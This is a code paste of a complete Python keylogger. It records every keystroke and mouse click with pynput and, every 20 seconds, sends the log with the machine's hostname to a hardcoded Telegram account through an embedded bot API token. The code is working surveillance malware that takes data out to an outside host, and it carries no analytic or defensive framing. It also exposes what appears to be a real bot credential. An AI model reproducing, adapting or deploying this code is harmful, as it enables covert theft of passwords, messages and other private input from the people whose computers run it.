· 6 years ago · Mar 17, 2020, 01:54 PM
1import socket # for computer name
2import telebot
3import threading
4# import keyboard
5from pynput.keyboard import Key, Listener
6from pynput import mouse
7import time
8import datetime
9from threading import Timer
10import json
11from io import BytesIO
12import pyscreenshot as ImageGrab
13
14TELEGRAM_BOT_API_KEY = "937597982:AAEGZ-td8bvGg6oe144IBvuCKra45YXQB0Y"
15USER_ID = 404663608
16
17
18class TelegramBot:
19 def __init__(self, api, user_id):
20 self.api = api
21 self.user_id = user_id
22 self.bot = telebot.TeleBot(api)
23
24 def write_message(self, keys):
25 json_dict = {
26 "computer_name": socket.gethostname(),
27 "time": datetime.datetime.now().strftime("%d-%m-%y %H:%M:%S"),
28 "keys": keys
29 }
30 print("Send keys!")
31 self.bot.send_message(self.user_id, json.dumps(json_dict))
32 self.send_screenshot()
33
34 def send_screenshot(self):
35 pass
36
37
38class Keylogger:
39 def __init__(self, delay_in_secs=20):
40 self.is_stopped = False
41 self.is_paused = False
42 self.recorded_keys = []
43 self.send_keys_thread = threading.Thread(target=self.get_keys)
44 self.telegram_bot = TelegramBot(TELEGRAM_BOT_API_KEY, USER_ID)
45 self.keyboard_listener = Listener(on_press=self.on_key_pressed)
46 self.mouse_listener = mouse.Listener(on_click=self.on_mouse_clicked)
47 self.delay = delay_in_secs
48
49 def on_key_pressed(self, key):
50 self.recorded_keys.append(str(key))
51
52 def on_mouse_clicked(self, x, y, button, pressed):
53 self.recorded_keys.append("CLICK[{0}, {1}])".format(x, y))
54
55 def start_recording_keys(self):
56 self.is_stopped = False
57 self.is_paused = False
58 self.recorded_keys.clear()
59 self.send_keys_thread.start()
60 self.keyboard_listener.start()
61 self.mouse_listener.start()
62
63 def stop_recording_keys(self):
64 self.is_stopped = True
65 self.is_paused = True
66 self.recorded_keys.clear()
67 self.send_keys_thread.stop()
68 self.keyboard_listener.stop()
69
70 def get_keys(self):
71 while not self.is_stopped:
72 if self.recorded_keys:
73 self.telegram_bot.write_message(self.recorded_keys)
74 else:
75 self.telegram_bot.write_message("None keys")
76 self.recorded_keys.clear()
77 time.sleep(self.delay)
78
79
80def main():
81 keylogger = Keylogger()
82
83 try:
84 keylogger.start_recording_keys()
85 except KeyboardInterrupt:
86 print("Exit")
87 keylogger.is_stopped = True
88
89
90if __name__ == '__main__':
91 main()